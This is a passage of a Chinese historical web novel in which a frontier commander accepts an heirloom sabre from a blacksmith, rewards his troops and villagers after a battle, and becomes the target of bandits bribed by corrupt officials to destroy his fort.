王婶眼尖,一把拽住想悄悄溜走的侄女王艳。
“艳子,哪儿去?”
王婶拍着姑娘的小手儿,压低了点声音:“等会,你麻利点,去隔壁猛哥儿家,陪着月娘说说话。
她现在是将军夫人,身份尊贵着,身边不能没个亲近可靠的人。
你就跟在月娘身边,多在堡子里走走转转,帮衬着,护着点。
你姑父指望不上,眼下这份人情世故,就得靠你了闺女!”
小姑娘王艳鹅脸蛋儿上带着涉世未深的懵懂,小鸡啄米般点头:“嗯嗯,知道了,姑姑。”
“机灵点!”王婶还不放心,又凑近些,传授着自家琢磨出来的“真经”,“有时候,得让贵人看见你的真本事。耍两下你爹教的把式,就说是护身的。
顺势提提你那俩哥哥的本事,要自然。关键是要跟月娘亲近,将军夫人得多走动,与猛哥儿给咱们军寨撑起一片天,也让猛哥儿没后顾之忧。
丫头,你多露露脸,稳当可靠,以后有啥好营生、好亲事,才能落到你头上,你哥跟着沾光!”
王婶的目光扫过三个子侄,语重心长地说着,充满了对后辈前途的精细盘算和不容置疑的掌控。
“咳!你这婆子,又在多嘴多舌,瞎掰扯你那套……”李根生这时猛地拉开门出来,像是再也听不下去,又像是被戳中了什么心事。
他一把拉住王婶的胳膊往卧房拽:“孩子们大了,他们的事,急也急不来,回屋待着去!”
“哎哎哎!你拉**啥?我话还没说完呢!小善,小良,听见没……”王婶挣扎,架不住铁匠力大,不甘心被拖走,声音被房门阻隔……
……
与此同时,河畔张富贵家,那座平日里处理猪羊的杀猪棚,此刻却迎来了前所未有的“大生意”。
战马的尸体被源源不断地运送过来。
棚内早已是热火朝天!几个经验丰富的屠户带着二十多个堡民壮劳力,正挥汗如雨地忙碌着。挑水、烧火、刮**、剥皮、分割马肉……
沉重的砍骨刀剁在案板上的“咚咚”声,铁钩划过皮肉的“嗤啦”声,以及弥漫着一股血腥味……
第48章 李铁匠赠刀
烽燧堡下的战场许多血迹未干涸,浓烈的腥气依旧刺鼻,无声诉说着昨夜前那场伏杀的惨烈。
本该由秦大壮负责的战场清扫,因诸葛风奉秦猛之命,率百余堡内壮劳力赶来接替而提前结束。
诸葛风迅速指挥众人编队,有条不紊地打扫战场。
人多力量大,战场很快被清理干净。河畔的狼藉虽已不见,但那刺鼻的血腥气却如同跗骨之蛆,依旧顽固地弥漫在空气中,挥之不去。
幕僚长诸葛风并未离开,他站在堡内清理出的空地上,主持分类统计各处汇集而来的战利品。
这位落魄书生已是王保长不可或缺的左膀右臂,整日与算盘、账簿为伍,行事严谨得近乎刻板。
各处送来的每一石粮、每一匹布、罗记矿行的每一斤铁料、每一篓硫磺,收支进项,他都一丝不苟,记录得明明白白,账目清晰无误。
此刻,军堡、破庙、燧堡三处战场送来的繁杂物品。
在他的指挥下,铁甲、皮甲、长短弓、弯刀、破损的甲胄,防具、弓箭、乃至**的衣服靴子,都被迅速分类、规整、记录在册……
然后,完整的甲胄武器入库,破损的分类送到堡内各作坊修缮……,琐事处理的井井有条。
……
堡内的事儿有老保长负责调度。
打扫战场,这种琐事也有诸葛风等文案操笔处理。
知寨官秦猛这一觉睡得非常踏实!
他嘴角翘起,做了个美梦,梦里锣鼓齐鸣,红霞漫天,他竟穿着大红的喜袍,骑着高头大马,胸前系着红绸花,迎娶新娘——陈月娘。
堡内欢庆一片,喝交杯酒,闹洞房,乡音浓重的山调野曲响彻村头。这份独属于这个时代的笨拙而滚烫的热闹,让他体会到这古代婚礼……
“咣当!”或许是梦中的锣鼓太响,又或许是新娘子太美,他一头撞在炕沿上,猛地惊醒。
眼前哪有锣鼓、花轿、新娘?
唯有一抹血似的夕阳,正穿透发黄的窗纸,刺得他眼皮生疼。
“哦,原来是个梦!”秦猛怅然长叹。
他甩甩昏沉的脑袋,翻身下床,穿戴整齐,出了门。发现陈月娘和秦小芸果然都不在,土墙上贴了张纸条,是去裁缝铺,医疗所帮忙。
耳房里鼾声如雷,是乌维呼呼大睡。
秦猛放轻脚步,返入堂屋,目光落在墙角两柄豁齿卷刃的**上。
一把是秦大壮给的,一把是帅司任命时配发的。奈何,高强度**之下,崩了口,都已卷刃。
“这弯刀好,标志性太强,该给它们一个痛快了。”秦猛摸着腰间挂着的弯刀,嘟囔一句。
他捡起两把刀,大步流星出门。
去隔壁找李铁匠,发现他正好在家。
只是老汉在半塌的窝棚发呆,独自闷头啜着劣酒。
“李叔,帮忙看看这两把刀。”秦猛大踏步走过去。
“卷了?小毛病!扔炉里烧红捶打几下就能活!”李铁匠接过刀,老茧手抚过刀口的伤痕,浑浊的眼珠在煤灰般的脸膛上转了两下。
他忽然沉默,粘着铁灰的黑脸罕见地透出一抹赧然。
他喉结滚了滚,竟“噗通”一声把酒碗墩在砧板上,浊黄的酒液泼了一角。
“秦将军……”老汉喉咙发干,声音陡然低涩。
“李叔,你这样我掉头就走。”秦猛脸瞬间拉下来。
李铁匠立马改口:“猛哥儿!我太爷…当年憋了整整一冬又一春的气力,打出了一把刀。”
他抬眼,那眼神像是被炉火点着了,带着点豁出去的孤狠:“那是把宝刀,给大帅用的命刀。可这世道,它不该埋在我这臭炉灰堆里。”
李铁匠猛地攥紧了拳头,骨节咯咯作响,脸上那点难为情被一种近乎悲壮的决然压了下去。
“猛哥儿!那刀,给你,用这把刀…替乡亲们砍出条活路!”
不等秦猛回应,他又飞快地、像怕自己后悔似的补充道:“还有……你王婶家里那俩不成器的小子……能跟猛哥儿你……混口饭吃不?
那婆娘一早聒噪到日头偏西……没个完了!”他的声音又低下去,带着一丝软弱的希冀。
“还有俺李家那混小子李山……日后…劳您多踹两脚!”
“成!”秦猛的回答斩钉截铁,没有任何犹豫,像利斧劈开木头:“乡里乡亲,信得过。只要敢拼命、有本事,有我一口,就少不了大家伙儿的前程!”
李铁匠肩膀猛地一松,长吁一口气,仿佛千斤重担撂了地。
他起身,对秦猛低声道:“跟我来。”
铁匠自家的铁匠房更乱,满是油污和铁锈味。
李铁匠踉跄着扑向墙角,几乎是带着一种奇特的虔诚,从一堆黑黢黢的破铜烂铁后面拖出一个朽木柜子,从里面取出同样蒙尘的狭长木盒。
他用自己那件油亮的破袄袖子,一遍又一遍,像擦拭初生婴儿般,拂去盒上经年的积垢。
每一次擦拭,脸上的皱纹就深一分,带着沉甸甸的遗憾和不甘的决绝。
“我家太爷本想用它,换给一位靠得住的将军,求个军匠名分,好护佑儿孙……可惜啊……局势越发混乱,后面帅臣又没几个中用的……”
“拿好!”老汉深吸一口气,像托付自己的魂灵,将那布满灰尘的盒子死死按在秦猛怀里。
秦猛接过那长木盒,只觉双臂一沉。那分量,不只是铁块,更像接住了几代人的不甘和性命。
他眼神凝重,郑重地点头,无需多言。
盒盖打开,剥落的锦缎衬布上,躺着一把形制粗犷、刀柄黝黑古朴,带有厚重刀鞘的腰刀。
“噌——”一声悠长的轻鸣。
昏暗的光线下,刀刃乍现,雪亮却不显刺目寒光,反透着一股古井深潭似的凝练寒气。
刀身沉实压手,刀脊厚而坚韧,刃口线条带着一种无言的凶悍。
秦猛伸出手指——并非用指甲去试,而是用指腹极其小心地感受那刃口的纹理。触感锐利、致密得惊人!
这绝非寻常凡铁!
在这样粗劣的环境下,要熔炼足够的精钢,再千锤百炼,方铸出这样一柄足以传世的凶器。
耗费的心力简直匪夷所思!
每
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一道锻打,都掺杂着铁匠的血汗和屈死的魂!
“好刀!!!”秦猛的声音低沉而滚烫,眼中瞬间燃起灼人的战意,“李叔,我秦猛承这刀的情,也承这托付的分量,但我却不能白拿。”
话音未落,“咚!”几锭雪花白银(约百两)砸在沾满铁灰的砧板上。
就在李铁匠被银锭惊得有点发懵时,秦猛仿佛随口提道:“李叔,这是缴获分润。另外,先祖还魂托梦时,像是提了几句打铁的门道。”
他顿了顿,皱眉说道:“说是熔矿前若能淘洗选矿石,分出好坏,熔出的铁水杂质就能少些……
再有就是燃料,煤料也可以分拣,洗去土石杂质。这鼓风,试试双拉风箱,烧到极致时再加一道沉淀,用碎炭铺底,吸附铁汁杂质……”
秦猛凭着前世模糊的记忆,零零星星地说着如何选矿分拣、强化鼓风、吸附杂质之法道来。
李铁匠初时不以为意,可听着听着,那张满是褶子的黑脸渐渐呆住,眼神直勾勾的像被雷劈了。眼睛越瞪越大,目光炽热得像要燃起来。
秦猛组织言语,说着自己知道的相关锻造法门。说完,如何吸附铁水杂质后,便觉得要词穷。
李铁匠却如魔怔了,猛地抓住他胳膊,一个劲儿追问细节,唾沫星子差点喷了秦猛一脸。
“李叔!李叔!我……我就记得这点皮**!真不懂内里关窍啊!这个还得需要你实际尝试。”
秦猛搜肠刮肚,终于狼狈地挣开那双铁钳般的手:“我还有事儿,有空去作坊谈,先走一步!”
话音未落,他人已如脱兔般“逃”出了铁匠房。留下一个近乎癫狂、对着铁匠炉子和银子发呆的老铁匠,喃喃自语后,眼神越来越亮……
秦猛狼狈地冲出李家小院,心有余悸地叹气。自己知道的是理论,这种法子需要专人摸索。
他恰好瞥见诸葛风脚步匆匆,正迎着夕阳余晖,往他家院子的方向急赶。
“大人!”诸葛风看见秦猛,眼中焦虑顿消,化为明亮的光彩,脚下更紧了几步,小跑着奔至近前。
“大人,您交代的事办妥了。”
“此次破庙并军堡,所获战利品,均已清点造册完毕!”
“这么快?”秦猛略感吃惊,本以为明天才搞定。不过见到诸葛风额头汗珠,便恍然大悟。
——这位固执的书生忙碌到现在!
“诸葛先生辛苦了!”秦猛立刻正色道,侧身引手。
“外边冷,说话不便,来家里坐坐,喝杯茶细说。”
两人转身进了小院,亲兵回营房休息,秦猛请诸葛风坐了,去伙房拎水壶,给对方冲泡茶水,
“使不得,岂能劳烦知寨……”诸葛风受宠若惊。
“坐坐,客随主便!”秦猛把他摁回坐椅上,冲泡好两杯茶,入座后,与诸葛风聊起了家常。
秦猛多是问诸葛风是否习惯此地生活,事务繁重否?又关切询问他妹子的身体是否好转。
这般关怀让虽饱读诗书却流落北地的诸葛风心头暖意涌动,更深深感念着秦猛的知遇之恩。
第49章 人无横财不富
一杯香茗快见底,两人才说起正事。
“讲!”秦猛靠坐在椅子上,眼神从温和变得锐利。
诸葛风也不废话,利落地翻开手中那本墨迹新干的账簿,清了清嗓子,朗声汇报:
“此次核心战果,歼敌,经核验:累计斩获**首级二百五十三级,捕奴团恶徒四十五级。
另俘虏敌猛安兀鲁思及六名轻伤**。
捕奴团头目严虎及两名轻伤的喽啰。”
除兀鲁思,已登记,撰写为战报。”诸葛风边说边把册子放到茶几上,继续念着统计数据,
“获无主战马四百三十九匹、皆为草原好马。
堪用驮马三十五匹;破庙捕奴团及**尸清理所得,散碎银两与金银制品合计,金两千两,白银逾八千两——此乃一笔巨资,大人!”
秦猛微微点头,对此并不意外。
**入境为了劫掠,人人配两马,昨夜直接击溃敌人,光是备用马**地,就有两百多匹马。
女真部落金银首饰多寡,代表着地位高低。使得女**腰带非金即银,辫子上有金坠银饰。即便上战场也不摘,通俗来说就是送财童子。
上次五个女真探马,搜刮就获得两三百两银子。
这也是秦猛非要搞死对方的原因。
诸葛风指尖划过账簿续道:“甲胄方面:得**制式铁甲四十五套,近半损伤但主体完好。
皮甲超两百余套,完整可用者一百三十套,余下七十余套破损皮甲,已送堡内作坊修缮。
“**武器:缴获长弓短弓共五百余张八成弓体完好。铁簇箭矢,**均过百,共两万支。
另得制式统一的**弯刀两百六十把,**,短刀,圆盾等若干,损坏的铁器送到作坊。”
“轻伤马匹五十九匹,已令堡内老兽医救治。重伤及毙命战马四十六匹,已按计划处理取肉。”
合上首册,翻开新页,诸葛风语气更精准。
破庙之战救回百姓:此役乃最重之功,成功解救被掳边民总计八十七人,其中含妇孺三十余名。
现已悉数安置于堡后搭建起的窝棚区,由老保长安排人手送去饭食、热水,并派人通知家属。”
“另外**人配双马,驮着毛皮衣,皮褥子。马鞍袋里有豆料,肉干,马奶酒,奶酪,炒胡豆等。”
“行,我知道了。”秦猛脸皮抽搐,挥手叫停:“先生非常细心,很好,这些杂物就不必……”
诸葛风皱着眉,打断他的话,固执地说道:“大人,此项不是杂物。如豆料,积少成多,过二十石,得要入库。皮衣,皮褥子人人都有。
两百六十多套,是边陲取暖不可或缺的物资。属下正发愁,如何安置好流民,取暖是关键呐!获得这批羊皮褥子,冬季便不会冻伤冻死。”
诸葛风越说越激动,脸上带上笑容。
秦猛脸上不耐消失,觉得自己欠考虑,确切地说他当了官后飘了,没把民生放在首位上。
骄傲自大,俗话就是狗翘尾巴。
这是人取得一定成绩后,无法避免的心态膨胀。
而且却是打下根基时最大的弊端。
“这种心态要不得,亏得书生点醒。”秦猛自我警醒,不耐被凝重取代:“嗯,你做得对,是我疏忽了。
下雪后酷寒,不单单是毛皮,干柴,煤料也要备足了,越多越好,需要烧火做饭,取暖所用。”
“老保长已经动员过堡民。”诸葛风脸上露出笑意。
秦猛松了口气,感慨姜还是老的辣。他看着诸葛风,严肃地问:“继续,说说己方情况。”
“是。”诸葛风应声回应:“我方损失:阵亡戍卒四人。”
“身负重伤八人,已送医疗所。”
“另负轻伤尚有三十余人,行动已无大碍。”
“特殊缴获:兀鲁思不论,得**谋克勃极烈扎哈尔所佩金印一枚、表明其身份之腰牌一块、用以调兵遣将之令箭一支。”
“尤为关键是扒衣时,得其贴身收藏,小范围**活动区域舆图一份,价值难以估量!”
诸葛风再次合上账册,身体微微前倾,语气极其郑重地补充道:
“大人!那扎哈的金印、腰牌、令箭三样,乃其身份权力的铁证!”
“至于那份密绘的**活动舆图,更是军情至宝,可谓此役最重之收获!”
“此四物,学生以为,当立即加封,选派精干,日夜兼程,火速呈送至大营交给赵将军。”
“此等重物,留于堡寨,恐非善事!”
“至于缴获之金银财物,则可尽数留作军寨初创之根基资财!”
秦猛端坐椅中,凝神静听着诸葛风口中报出的这一笔笔数字。
它们触目惊心!
唯独几个招募的新兵不幸中箭身亡。
令秦猛心情一下沉重起来,这是他亲自调教的新兵。
“将军,人死不能复生。”诸葛风看出他心情低落,上前安慰:“何况,咱们是取得大胜。”
“几乎是全歼这一支女真精锐。”
“是啊。”秦猛神色逐渐恢复冷峻,慈不掌兵。
**金印、腰牌、令箭、密图。
这简直是滔天洪福,意外之喜。
这一夜浴血,何止是守住了军堡?
打出了前所未有的军威,边堡升格为军寨!
斩杀了草原凶名赫赫的勇士扎哈尔!
救回了近百濒临地狱的骨肉同胞!
更获得了支撑一个崭新军寨崛起运转的巨额资金!
而“知寨官”这三个字,也因这一份泼天大功,有了最厚实、最无可辩驳的垫脚石!
秦猛的目光,缓缓扫过账册上那清晰的黑字:
“金两千余两…”
“白银逾八千两。”
“草原好马四百多匹。”
……
这些冰冷的数字仿佛活了过来。
秦猛甚至透过窗棂,看到了堡门方向**的人群,那一张张刚刚脱离恐惧、对未来重燃热切期盼的脸庞。
“好!”他沉声赞道,声音不大,却带着金石之质。
在这寂静的堂屋内清晰回荡。
“先生此事办得极好,辛苦了!”
“务必以最工整字迹,将所有缴获、伤亡、安置账目,誊录清楚
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,一式两份,留存备查。”
“呈送赵将军的报捷密信劳烦润色,更需字斟句酌,务求详实严谨,万不可有丝毫疏漏。”
“至于缴获物资…特别是装备、军械,务必择选可靠人手,加派戍卒看守,好生保管。”
“缴获的白银,五成入库充作军堡发展用度,剩下五成尽数犒赏有功之人——除了此次有功的将士,凡对守堡有贡献者,人人有份。”
“大人!”诸葛风连声应是,可听到五成用作奖励时,顿时一惊,“这五成超过了五千两,折算为铜钱,价值万贯,这是不是太多了?”
“不多!”秦猛肃然摆手,想起阵亡的戍卒,声音沉了下来,“弟兄们为守堡流血拼命,这点奖赏算得了什么?新建军寨固然要钱粮,但不能亏了拼命的弟兄,这是本寨的根本。”
他顿了顿,继续说道:“阵亡的弟兄,有家室的,抚恤百贯钱,军堡每月再补贴钱粮。
没家人的,就把这笔钱用在抚养堡里的孤儿上,让孩子们改名换姓,也算替他们留个念想,续个后。”
“妙!大人这个提议太好了!”诸葛风心头激荡,连连拍手称赞,“待学生即刻起草公文,把这些规矩定下来。如此一来,我军堡将士怎能不拼死效力?”
秦猛本想说,他更希望弟兄们都活着回来,见诸葛风正情绪高涨就把话咽了回去,默认了让他起草公文的事,再一想,其实这样蛮不错。
这时,门外传来女子的说话声。
陈月娘在前,秦小芸蹦跳着紧随其后,王艳则护在一旁,三人一同走了进来。
“哥!”秦小芸见堂屋里火光摇曳,刚要扑过来,瞥见有外人在,立刻收敛性子,规矩地双手交叠小腹,行了个万福,“呀,诸葛先生也在。”
“见过小妹,夫人。”诸葛风忙从椅子上起身还礼。
“诸葛先生来了,天色已晚,就在家里用些便饭吧!”陈月娘随后进门,以女主人的身份温和相邀。
“不必了,家里今晚不开火。”秦猛起身走向陈月娘,对一脸疑惑的诸葛风解释道。
“我已吩咐今晚军营设了庆功宴,篝火晚会。”
“好哇好哇!”秦小芸立刻欢呼起来。
“走吧!咱们去军营。”
秦猛看向诸葛风,拎起腰刀挂好,又去边上耳房把睡觉的乌维拽了起来,一行人出了堂屋。
关门时,恰好听见外面铜锣“哐哐哐”作响。
原来是庞仁亲自带队,正敲锣打鼓,走街串巷,洪亮的吆喝声传遍堡内:“老少爷们儿,秦知寨有令!**已退,**行赏,全堡同庆——”
话音未落,军堡各处已隐隐传来此起彼伏的欢呼声,与铜锣声交织在一起,在夜色中越传越远。
那不仅仅是堡民们劫后余生的庆贺。
那是对秦猛这个领头人,知寨官沉甸甸的托付!
却是如山岳般压在肩头的责任!
秦猛知道,一个新的时代,一个充满了血火挑战与前所未有机遇的大幕,已经随着他入主这座边陲小军堡时,便轰然拉开,展露峥嵘!
第50章 功无厚赏不锐
最后一缕残阳的金辉被山峦彻底吞没,暮色如墨般漫过小南河堡的轮廓。
整个军营区却骤然亮起数堆冲天篝火。
橘红色的火焰疯狂舔舐着深邃夜幕,将营房屋顶与攒动的人群都染成一片滚烫的赤红。
篝火上,大块大块马肉被串气炙烤,临时支起的几口大铁锅里,油亮喷香的炖马肉正翻滚冒泡。
空气中飘满油脂炙烤的焦香与骨头汤的醇厚暖意。
另一侧粥锅咕嘟作响,浓稠粟米裹着马肉碎末,每一声沸腾都飘出米香,勾得人喉间发紧。
这顿难得的荤腥不止犒劳浴血奋战的戍卒乡勇,还有少年队二十几个半大少年,堡内所有出过力的居民,都被召集到篝火旁的空地上。
人声鼎沸里混着劫后余生的庆幸,笑语喧哗中藏着对食物的渴望,烟火气与生命力在火光中交织升腾。
靠近官署的地方临时搭建了粗木高台。
文案坐在桌边,摆好纸墨,边上还有几口大箱子。
秦猛在张富贵、乌维等亲兵的簇拥下登上高台。熊熊篝火将他挺直的身姿拉得更显高大。
喧闹渐歇,数百道目光聚焦而来。
篝火外围,陈月娘和秦小芸并肩而立。
火光映在陈月娘温婉的眸子里,跳跃着别样的光彩。
她望着台上那人挺拔如松的身影,嘴角不自觉地微微扬起,心中被一种踏实与骄傲的暖流填满。
身旁的秦小芸更是眼睛一眨不眨,小拳头紧握着,兄长在火光下那份沉稳如山、锐气如虹的气度,让她心头莫名地轻快愉悦,与有荣焉。
秦猛目光如炬扫过台下。身旁的幕僚长诸葛风手持名册肃立,青衫在火光中更显清瘦挺拔。
秦猛沉稳洪亮的声音借着火势传遍全场:“今夜,此火此肉,敬昨夜以命相搏、守护家园的弟兄。敬我小南河边军寨,全堡军民。”
“此战大捷,斩首近三百,缴获无数。此乃众志成城,浴血拼杀之功。”
“凡有功者,必赏。凡有伤者,必恤。”
他接过诸葛风递来的名册,字字铿锵地宣读:
“秦大壮。”
半晌,无人应答。
秦猛扬声补充:“秦部将依旧坐镇燧堡有功,赵将军擢升其为磐石营部将,军寨追赏白银一百五十两。”
“秦部将未归,奖励即刻送予家人。”
文案得到命令,记录,开箱,取出足额银锭,递到大壮妻子手中,妇人红着眼眶深深叩首。
“谢秦大人赏赐。”
“哎哟,是真的奖励银子。”人群爆发出细碎赞叹:“乖乖,一百五十两,秦大壮家发达啦!”
台上几口大箱子更是让军民期待更甚!
“张富贵。”
“在。”
屠户出身的汉子跨步出列,铁打的身躯在火光下绷得笔直。
“作战勇猛无双,亲斩恶匪七人、**十六人,军功甚大。擢升军寨队将,领兵一队,赏银一百两。”
张富贵涨红了脸,攥紧拳,心头发热,昂首大吼:“谢知寨提拔,属下必以死相报。”
人群轰然叫好。
“李山、刘铁柱、王铁山、庞仁。”
“在。”四人齐声应答,昂首挺胸,列成一排。
“你们阵中奋勇杀敌八到十三人,战技过人,为我军寨楷模。特擢升队将,各赏银百两。”
四人眼中闪着光,齐声应诺:“遵大人令。此生愿随大人左右。”
“王善、**。”
“在。”两兄弟跨步上前,年轻的脸上满是激动。
“初上战阵胆气过人,各杀敌六人。按律直接转为边军,暂任队长之职,日后立新功再行升赏。”
兄弟俩互看一眼,躬身时声音发颤:“谢大人不弃。我兄弟二人定当随将军建功立业立。”
“刘大牛。”
“在。”牵着大黄狗的汉子应声出列,掌心因紧张沁出细汗。
“训犬有方。麾下猛犬夜袭领路、缠住敌骑,任暂理犬兵队队将,赏银五十两,队成即扶正。”
刘大牛红着眼眶,挺起胸膛:“谢大人提拔。大牛领命。定练出最好的战犬,护我军寨。”
“乌维。”
“在。”山蛮巨汉瓮声上前,熊掌似的大手摸着脑袋。
“杀**七人,任本将侍卫,赏银五十两。”
乌维咧嘴憨笑:“谢头人。银子不要,要肉要酒。”
“哈哈哈……”军营爆发出善意的哄笑。
秦猛黑着脸改口:“好,换成酒肉赏。”
“石头、刘大川。”
“在。”一老一少齐声应答,上前。
少年石头努力挺直腰杆,老猎户瘸着腿却站得极稳。
“石头带路捉匪,刘大川驯犬追踪,各赏银二十两。石头暂代少年队队长,刘大川任兽医官。”
“谢大人。”两人深深作揖。
石头心里默念定不让大人失望。
刘大川则暗下决心要驯养好所有军犬。上午在酒桌子上,老头恳求着把功劳转让侄子大牛。
这老少组合同时出列,虽不如当官领职耀眼,但却能得大人亲口点名,亦是荣光满面。尤其是这年纪反差的两人,令周围堡民看得眼热。
他们条件不比这两位差,以后只要把事情办好,立了功,同样也能够获得奖励,受人尊敬。
“所有昨夜参战伤者,依伤情由诸葛先生造册,赏抚恤银十五至三十两。”秦猛声音低沉庄重。
不少缠着布条的汉子们红了眼圈,悄悄攥紧拳头,心口有暖流鼓动。
“参战军卒、壮丁各赏奋勇银五两,杀一敌加五两。”
昨夜战事,四位弟兄阵亡。军务司已为他们登记造册、拟定名讳,若有家属,即刻发放百贯抚恤金,往后军寨每月照发粮米赡养。”
秦猛声音压得很低,眉宇间凝着化不开的黯然。目光随即扫过军堡内近百个肃立的戍卒。
“所以我一遍遍说,平时多流汗,战时才能少流血。”
他顿了顿,语气转厉:“昨夜接战,有几个新兵露了怯。是谁,本将不点名,但你们自己心里有数。
记住,胆怯换不来活命,**的刀可不会因为你怕就停下!唯有攥紧兵器往前冲,才能杀出一条活路!”
铿锵话语砸在耳中,十几个新兵不由自主地低下了头。他们虽未溃散奔逃
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,却也失了锐气。
此刻只觉脸颊发烫,再想起同袍中有人斩敌建功、领了厚赏,一股狠劲顿时从心底窜起,攥紧的拳头发誓,下次再战,定要拼出个样子来。
“秦知寨,还说抚恤金若无亲属认领,这笔抚恤便充作孤儿教养之资。给他们留个后,此事已写进军堡铁律,明日,告示张贴在军寨各处。”
诸葛风察觉到气氛有些沉默,沉声说出提案。顿时营地内鸦雀无声,人人眼睛瞪得老大。
为听到这个消息而感到震惊。
尤其是堡内戍卒更是心头激荡,紧紧抿着嘴唇。有了这个规矩,家人有保障,他们没有后顾之忧。也敢,也愿意为了守堡,而杀**。
“作坊工匠听令。”秦猛转向另一侧工匠人群,“铁匠坊连夜锻造箭簇三百支、修补兵器五十件,赏匠头白银二十两,工匠每人五两。”
“木工坊,筑石坊抢修箭楼三座、加固寨门,堡墙有功,赏匠头十五两,工匠每人四两。”
“裁缝铺三日赶制军服百套,赏坊主十两,伙计每人三两。”
……
工匠们纷纷出列谢恩。木工坊鲁明攥着糙手心里发烫:“能得大人记挂,便是累死也值得。”
“战后搬运物资、救助伤员、维持秩序的民壮,每人赏白银二两。堡内全体军民,得银五钱,马肉十斤、粮食二十斤、细棉布一匹。”
此语一出,广场彻底沸腾了!
“秦知寨威武。”的欢呼浪潮直冲云霄。
篝火映照着一张张因激赏和饱食而红光满面的脸庞,连诸葛风也在这浓烈的氛围中露出赞许的笑意,手中的毛笔在名册上沙沙不停。
人群中,陈月娘看着台上那个光芒四射的身影,又转头看看身边兴奋地攥着自己衣角的秦小芸,内心的暖意与欣慰如同杯中满溢的美酒。
秦小芸感受到她的目光,也仰起头,两人相视一笑,眼波流转间是对同一个人、同一份荣耀的无言共鸣。
人群外围的袁飞和徐强被特邀而来,手握各自沉甸甸的五十两银袋,指节捏得有些发白。
——这却是相助练兵的酬劳啊!
他们目睹着这军寨之中赏功的肆无忌惮与公平无遗,连匠人民夫都能分润实实在在的好处,尤其是戍卒阵亡抚恤金一事,心头剧震。
这与旧日官军苛扣成风、上下倾轧的天壤之别。
“……真是开天辟地头一遭。”袁飞化为苦涩喟叹,与徐强对视,皆是从对方眼中看到震惊。
冰冷的银子袋贴着滚烫胸膛。
身畔是堡民们震耳欲聋的欢呼浪潮。
让他们重新审视着那高台上年轻的身影,也隐隐明白为何这小小边堡能爆发出焚山煮海般的战力。
人心,已被那滚烫的赏赐和不容置疑的公道牢牢焐热。
秦猛用这场毫无保留的分胙盛宴,在焦香缭绕的篝火旁,在震天的呼喝中,用最原始直接的方式,将刻骨的慷慨与掷地有声的承诺。
——“跟我战,必厚赏”,将那打破尊卑的粗犷公道,深深楔入每个人的灵魂。
他分的是财物。
铸的却是铁石之心。
第51章 冷艳山夜谋
幽州以北,冷艳山如一头沉默巨兽蛰伏在夜色里。
山影绵延起伏,森然暗影将周遭笼罩,主峰似被天神怒劈,陡峭得连飞鸟都难落脚,唯脊背那道“一线天“裂隙蜿蜒如蛇,成了登顶的唯一险径。
绝壁深处的山寨,三年来早已是幽州军民谈之色变的毒瘤。
三百亡命徒凭这天堑据守,官军数次围剿都铩羽而归。
他们的勾当远非寻常山匪可比,劫掠商队、勒索赎金只是开胃小菜。
更令人齿寒的是勾结地方奸吏,将掳来的无辜边民卖往草原为奴,换黄白皮货等不义之财。
夜幕沉落时,一支满载粮畜的神秘车队悄入山寨。
聚义厅内,空气沉闷如铅,熊油浸润的火把噼啪作响,跳跃的火光舔舐着两位当家的狰狞面容。
上首主位,大当家“黑山熊”严彪端坐如磐石。
他魁梧雄壮,满脸横肉恍若岩刻,脸上疤痕交错,双眼在火光下闪烁着狼一般的凶戾精光。
粗糙的熊皮大氅随意披在宽阔的肩上,腰间一左一右别着两柄短柄狼牙锤,沉重而狰狞。
右侧座席,是三当家“索命虎”黄奎,斜靠在交椅上,生得貌丑凶恶,体魄雄壮,上身几乎赤裸,横肉虬结的胸膛上纹着青虎狰狞刺青。
一柄粗重的鬼头大刀立于身侧,刀环无声震颤,衬着他眼中翻滚的、几乎不加掩饰的暴虐凶光。
大厅中央,一位绸缎衣着、头戴瓜皮小帽的中年人柳三,正慢悠悠捻着几根稀疏的山羊胡。
“两位当家的,日子近来可安好?只是……”
他话锋一转,声音透着刻意的低沉:“这幽州地面不甚太平啊。南河口不知从哪块石头缝里蹦出个愣头青,正八品管队秦猛。”
“此人胆大包天,且心狠手辣,行事彪悍不留余地,一改军堡往常的龟缩做派,严防界河。”
“我家老爷断定,放任不管,日后这位定会给我们的买卖带来影响,硬生生掐断了多条财路。”
柳三顿了顿,眼神扫过两位当家的表情:“更麻烦的是,此人不守规矩,像是握住了些不该握的东西……咱幽州几位大人物心中不安。”
他阴恻恻一笑,轻轻拍了两下手掌。
厅外立刻传来沉重脚步声,四名壮汉吃力地抬着一个硕大的木箱进来,“咚”地放在地上。
箱盖掀开,露出满坑满谷、棱角分明、银光刺眼的雪花纹银!寒气瞬间弥漫了整个大厅。
“这些,是‘那位大人’托小的带来的一点小小酬劳。”
柳三手指轻轻拂过冰冷的银锭:“白银三千两,权当定金。所求之事嘛……倒也简单。”
他的声音骤然压低而阴冷:“踏平那南河小土堡!事要做得漂亮,像是草原狼崽子们的手笔,鸡犬不留,杀光!抢光!烧光!懂么?”
柳三眼皮微抬,和善的面容消失,露出狰狞,冰冷的目光刺向严彪:“那姓秦的必须死。”
听得“杀官”二字,严彪和黄奎脸色变了变,不禁对视一眼,都从对方眼中看到了警惕。
边堡,是什么?
那是北方边军,岂是好惹的?
一旦追查下来,知道是冷艳山寨所为,别说他们300来人,就是3000,也会被一夜剿灭。
报酬虽高,但风险太大,不值当!
“柳兄弟,这事儿嘛……”严彪想委婉地拒绝。
那柳三显然是有备而来,见两人的神情变化,抢先一步说道:“两位当家,不要有顾虑。”
“我家老爷说了,几位大人物承诺依旧有效,请山寨当家的放心,咱那边会接手处理,定性为草原**入境所为,边军没有理由插手详查。”
柳三又竖起了五根手指:“这事儿办成了,再追加白银五千两、精米三千石、甲胄器械等。”
重赏之下,必有勇夫。
何况柳三开出的条件,给的太多。
黄奎眼中精芒一闪,笑嚷道:“嘿嘿,钱粮给的痛快,这买卖要得!要扮**?这调调老子最在行!包管剥皮剔骨都带着草原的膻味儿!”
在八千两白银的刺激下,他体内凶性迸发,嗡的一声提起鬼头刀,刀环狂震,吼声如雷:“痛快,大哥!这买卖带劲,咱干了?”
可主位上的严彪,独眼精光沉凝,指节在虎皮椅扶手上缓慢而有力地点着,发出笃笃轻响。
秦猛……这个名字令他心头掠过一丝极其危险的警兆。
此人绝非普通戍堡军官那么简单。
“大哥,八千两银子?咱们得做多少年买卖?”黄奎见严彪迟迟不答应,有些急了凑上前。
“你懂什么?等二当家批货卖完,再商议决定不迟。”严彪瞪了黄奎一眼,声音不容置疑。
这烫手的银子,怕是有命拿,没命花。
就在这念头翻涌,严彪决心未定之际——
“报!大当家……三当家……不……不好了——”
一声凄厉到变形的嘶嚎,骤然撕裂聚义厅内短暂的僵持。
